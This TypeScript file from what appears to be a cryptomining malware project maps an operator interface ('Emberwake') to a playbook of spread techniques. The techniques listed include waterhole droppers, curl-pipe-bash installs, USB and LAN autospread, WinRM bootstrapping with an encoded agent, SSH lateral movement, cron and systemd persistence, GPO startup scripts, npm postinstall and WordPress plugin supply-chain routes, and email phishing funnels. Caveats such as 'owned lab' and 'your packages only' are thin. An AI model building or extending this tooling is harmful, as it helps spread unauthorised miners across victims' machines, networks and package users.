33a66d853d
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
95 lines
2.4 KiB
TypeScript
95 lines
2.4 KiB
TypeScript
/** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */
|
|
|
|
export {
|
|
DEFAULT_LOTL_ONION_TIERS,
|
|
LOTL_ONION_TIER_DOCS,
|
|
lotlTierDocUrl,
|
|
type LotlOnionTierDoc,
|
|
type LotlOnionTierId,
|
|
} from './lotlOnionTiers';
|
|
|
|
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html';
|
|
|
|
export interface EmberwakeTechniqueLink {
|
|
/** Short label — rendered as hyperlink text in Emberwake */
|
|
label: string;
|
|
/** Tab id or sub-anchor in SPREAD_TECHNIQUES.html */
|
|
anchor: string;
|
|
/** One-line operator hint (no tutorial copy) */
|
|
hint: string;
|
|
}
|
|
|
|
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
|
|
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
|
{
|
|
label: 'LOTL Onion tiers',
|
|
anchor: 'lotl-onion',
|
|
hint: 'Ordered vuln recon→GPO contingencies — LOTL Onion forge preset',
|
|
},
|
|
{
|
|
label: 'Web waterhole',
|
|
anchor: 'web-waterhole',
|
|
hint: 'Owned-origin dropper or spread-kit lander',
|
|
},
|
|
{
|
|
label: 'curl | bash VPS',
|
|
anchor: 'curl-bash',
|
|
hint: 'Headless install.sh / install.ps1 one-liners',
|
|
},
|
|
{
|
|
label: 'Campaign & War Room',
|
|
anchor: 'campaign-war-room',
|
|
hint: '?c= tags, A/B pins, funnel analytics',
|
|
},
|
|
{
|
|
label: 'Fusion media',
|
|
anchor: 'fusion-media',
|
|
hint: 'Codec/tool ZIP — Desktop Fusion preset',
|
|
},
|
|
{
|
|
label: 'USB propagation',
|
|
anchor: 'usb',
|
|
hint: 'Forge-time USB flag — not Emberwake export',
|
|
},
|
|
{
|
|
label: 'LAN kindling',
|
|
anchor: 'lan',
|
|
hint: 'Universal spread kit + autospread preset',
|
|
},
|
|
{
|
|
label: 'WinRM bootstrap',
|
|
anchor: 'winrm-bootstrap',
|
|
hint: 'Enable-PSRemoting + encoded agent register (owned lab)',
|
|
},
|
|
{
|
|
label: 'Linux LOTL',
|
|
anchor: 'linux-lotl',
|
|
hint: 'systemd-run --user, crontab, SSH lateral spread',
|
|
},
|
|
{
|
|
label: 'GPO / Intune',
|
|
anchor: 'enterprise-gpo',
|
|
hint: 'Startup scripts — mining policy stays on command deck',
|
|
},
|
|
{
|
|
label: 'WordPress plugin',
|
|
anchor: 'wordpress',
|
|
hint: 'Owned-site plugin ZIP — supply-chain wizard',
|
|
},
|
|
{
|
|
label: 'npm postinstall',
|
|
anchor: 'npm-helper',
|
|
hint: 'Private registry template — your packages only',
|
|
},
|
|
{
|
|
label: 'Social funnel',
|
|
anchor: 'social-funnel',
|
|
hint: 'Email → lander → pinned build chains',
|
|
},
|
|
];
|
|
|
|
export function spreadTechniqueDocUrl(anchor?: string): string {
|
|
if (!anchor) return SPREAD_TECHNIQUES_DOC;
|
|
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
|
|
}
|